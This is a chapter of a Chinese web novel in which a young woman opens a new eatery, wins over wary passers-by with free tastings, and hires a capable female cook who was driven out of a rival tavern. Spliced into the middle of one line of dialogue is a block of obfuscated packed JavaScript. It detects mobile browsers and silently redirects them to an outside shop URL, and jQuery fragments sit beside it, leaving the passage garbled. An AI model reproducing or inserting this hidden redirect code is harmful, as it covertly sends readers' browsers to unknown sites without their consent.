晨光微熹。
姜稚鱼与三喜早早便已起床,两人快速拾缀好自己便直奔菜场,对着事先拟好的菜单一一挑选新鲜食材。
一圈下来,两人提着新鲜采买来的大包小包各种瓜果肉菜赶来到新店。
对于新店菜品,姜稚鱼想好了,炸鸡奶茶以及酸梅饮子还是照常有的,另外还新添上了脆皮全鸡,且这炸鸡姜稚鱼是打算做长期固定的菜品的,再怎么说这也是自己的起家招牌菜不是?
除此之外,其它的则会根据时令菜品不断改换品类,顺应季节,也能使得食客有那么点新鲜感。
其它的肉菜琢磨着现今的人们喜好羊肉,且肉类以食羊为贵,姜稚鱼打算先投其所好添一道慢火细炖的山煮羊,再加一道鲜美的清蒸鲈鱼。
素菜类么,正值新鲜脆嫩的带花藕季节,可做一个煿金藕条,加上烧茄子,芥辣凉拌窝笋,再加一个冷淘。
将今日的菜品以及营业时辰写在十分惹眼的半人高的木牌上,摆放在店门显眼处。
接着便是两人马不停蹄地备菜,清洗、切配、腌制、炖煮……
姜稚鱼手法利落,先将炸鸡腌制上,切好的羊肉下入陶釜炖煮,鲜鱼打理干净……
三喜则埋头清洗蔬菜,按照吩咐将嫩藕切片,莴笋切丝……
反正除了必需现炒现做的,其它能预先准备好的全都得先备好了。
终是赶在饭点前将食材处理好了。
又将在集市采买来的新鲜莲荷,插入素胚陶瓶,摆放在每张榆木桌案上。含苞的粉荷与青莲一放,顿时给简洁的店面增添了几分雅意。
正式开门营业。
店门已装饰好红绸绣球,点燃鞭炮。
因着鞭炮的热闹声响,吸引不少路人目光,趁着这个功夫,姜稚鱼赶忙在店门口招呼,
"各位乡亲们午好,新店开张,内有香酥炸鸡,时令小菜,夏日凉饮,欢迎大家进店品尝!"
说着三喜就立马端着盛着小块金黄炸鸡和小盅饮子的托盘上前,脆声邀请着路人品尝。
有路人窃窃私语,"这儿是又换新店家了?往前几家可都经营不长,也不知这新店家能撑多久了。"
有人接话,"前面几家我可都吃过,那味道……"那人说着还摇摇头,"可都不怎么好。"
"也不知这新店家又是何滋味了……"
这话刚巧被分享试吃的三喜听见了,笑着朝那议论的方向便道:“味道如何?要就凭我这一张口说的也不算数儿,还得客官亲自尝过不就清楚啦?”
看人一副犹豫的样子,她说着端着托盘就来到人跟前,递出试吃的炸鸡以及饮子,笑吟吟道:"免费试吃的哦!"
吃不了亏上不了当!
她说话的声音不小,确信周边人都能听见了。
心里还想着,还是店家阿姐有先见之明,听闻之前的几家店铺都经营不长,就是味道不好,如此一来,周边食客都会下意识想这家店啊不好吃,所以最有效的办法还是给人试吃,才能让人放心进店正儿八经的消费呢。
不得不说,涉及吃食要想快速打开局面最有效的方法还得是让人切身实地地品尝到其中滋味。
这不,没一会儿就陆陆续续有那试吃后走近店里的食客了。
一跨进店门马上就有人注意到了焕然一新的店铺,"别说,这店面装修过后,还真是不一样了,看着就敞亮干净!"
有人附和,“还真是,还真不愧是女娘经营的店儿呢!”
说着想起前者又摇头,"之前那几家……味道不好不说,平日里也不知好好将店面拾缀一番,啧啧……乱糟糟油腻腻的……"
不光味道不好,店里看着也糟心啊!哦,还有店家人也整天无精打采的……
也有那之前的老熟客找来,"可算等到姜娘子开店了,可馋了好几天嘞!"
"可不是吗,为这一口专程来的!"
自有食客进店里,姜稚鱼与三喜自然也随之进店招呼起客人来。
待食客坐好,斟上茶水,再含笑递上事先拟好的菜单子,声音清亮,"客官午好,这是今日菜品,您看看吃点什么?"
也是在这时裴歆乐进店的,手提插花花篮,一进门就笑着对姜稚鱼祝贺,"姜姐姐,开业大吉!"
姜稚鱼见此有些惊讶,接过花篮,"谢谢歆乐。"
没想到歆乐真的记着她开业的日子来了,还带来花篮庆贺。
说完忙招呼着她坐,要给她介绍今日菜品。
这次歆乐旁边倒是画眉陪着的。
裴歆乐却对着她摆摆手,"我知道的,我知道的。"
"现在这么多食客在,姜姐姐你忙你的,我自己看!"
姜稚鱼莞尔,"好。"
说完她又补充,"等会我会在后厨,歆乐你看好了菜品,告诉三喜就好。"
她说着指指三喜示意。
等有客人点好了菜品,姜稚鱼自然进了后厨忙活,三喜则主要负责前厅招待。
开业的第一天一切还是很顺利的,一番忙活,不知不觉就快过了饭点,食客渐少。
等姜稚鱼与三喜自己都吃过午食,已是未时后了,这时的店里就没什么食客了,可暂作休息。
姜稚鱼想起来之前找吴大娘介绍帮工的事儿,现在有了三喜,想着去说一声自己已经有了帮工,只需找一个厨子就好了。
主要还是店刚开,想着店生意还不够稳定,暂时没想着再多找帮工,若是日后生意渐好人手不足,再找不迟。
心里想着便交待三喜看顾店里,她去找吴大娘。
循着上次的记忆,再次扣响黑漆门扉。
吴大娘应声而来,一打开门见是之前找她的姜娘子,还未出声,姜稚鱼先说明了来意,
"吴大娘,先前委托您找的帮工,我已寻到了,特来告知您一声儿,您只需帮我留意合适的庖厨就好。"
没想吴大娘听她如此说,一拍手,“姜小娘子,这不巧了么,我还正准备出门去找你呢!”
"帮工找好了?那行,我这打听到近期正有个合要求的厨子,最近在寻新东家,正准备去寻她来介绍给您呢!"
"今儿又正好您来了,您现在若是有时间,要不就一起去看看?就在南斜街离这儿不远。"
姜稚鱼略一思索便答应了,"行。"
随着去看看也不无不可。
一同行至南斜街,步入小巷,吴大娘在一旧木门扉停下,扣响门扉的同时便已扬声询问,"徐厨在吗?"
等待的间隙,吴大娘还与姜稚鱼介绍,"这徐厨听人说可有一手好厨艺,之前便在那曹家酒肆……"
听到此,姜稚鱼眉头一跳。
曹家酒肆?
还未及她询问,很快门扉就被打开,里面立着位约莫二十来岁的女子,见着她们言简意赅问道:"何事?"
吴大娘眼神朝里望了望,"劳请告知一声儿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092727|195503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们来此是找徐厨的。"
没想那女子听后微微挑眉便道,
"我就是。"
吴大娘闻言诧异,这徐厨竟是位女子?还以为这徐厨是这女子的家人。
其余情况都摸清楚了,独独漏了性别。
心里不免有些踟蹰,女娘做庖厨可好么,这怎么着也是个考验体力的劳累活计……
姜稚鱼倒也没想这所说的徐厨竟然也是位女娘,也有一瞬惊讶,见吴大娘一时沉默,她便上前道,"您好,这是‘行老’吴大娘,也是她介绍说您擅长做时兴菜式。"
"刚巧我新开的食店在寻一位这样的庖厨。"
"不知娘子现今可寻到合意的店家了吗?"
徐娘子听闻此言,应答:"未曾。"
清楚了两人来意,徐娘子也打量了姜稚鱼一眼,见她态度平和语气尊重,随后便邀请两人进屋详谈。
接过徐娘子递的茶水,姜稚鱼还想着吴大娘提到的曹家酒肆,便试探问道:"我方才听吴大娘说……您之前在曹家酒肆掌厨?"
"是。"对面听到问话点头,神色坦然。
"是何时在曹家酒肆的?"
"从年初直到两个月前。"
"那是两个月前就没在那掌厨了吗?为何离开呢?"
原本一直语气平平的徐娘子,听到姜稚鱼这个问题,不知想起什么显然很有些愤愤,
"他们那店家,起初开店急需庖厨,我经人提起去便去询问,那店家起先经过试做菜式后聘用了我……"
说到此,话还未完她一拍桌子,显然是到了气愤之处,
"结果,那店主看我是女子,总是看轻我不说,直到后来,后厨多了一个帮工,说是给我打下手,谁知不出一个月……"
她冷笑一声,"不出一个月,就告知我不必再去了……原来那打下手的帮工竟是专盯着我来偷师的!"
她清楚那店家就是看不起她一个女子当得了大厨罢了。
姜稚鱼听完,想到之前在曹家酒肆听到的话,"这曹家酒肆起先生意还挺不错的,后来不知怎么的,味道大变,眼看着就日益惨淡……"
想来,所说的最开始的厨子就是面前这徐厨了,听着她对那曹家酒肆的气愤不满,也想起自身遭遇来,虽面上不显,心里觉着两人还很有些同仇敌忾的意思。
姜稚鱼喝了口茶水,"原来如此,我可听说那曹家酒肆后来生意惨淡。"
"哼,那店家还以为随便有点功底的什么人来,看一段时间就会了,哪那么容易。"
"火候分寸,调味的分量时机,食材处理等等,差之毫厘谬以千里。"
"而且,那店家为人吝啬,食材用料贯会偷工减料以次从好的……"
"最近路过还见他新弄了什么炸鸡来,似是有所好转,不过等着吧,以他那一贯做派好不了多久的……"
见她与那曹家酒肆有此纠葛,以及谈及时的气愤,姜稚鱼心里的最后的一丝顾虑也消失了。
这非但不是问题,反而让她更添了几分欣赏与信任。
有手艺,亦有原则。
还……有着同一个“敌人”?
接下来,姜稚鱼与之说了自己的薪资与要求,寻问对方可有意向。
薪资合适,要求也合理,又同为女娘,言谈见也不见轻视。
于她此时境地而言,已然是极合心意的了,当即表示,"若是如此,自是愿意的。"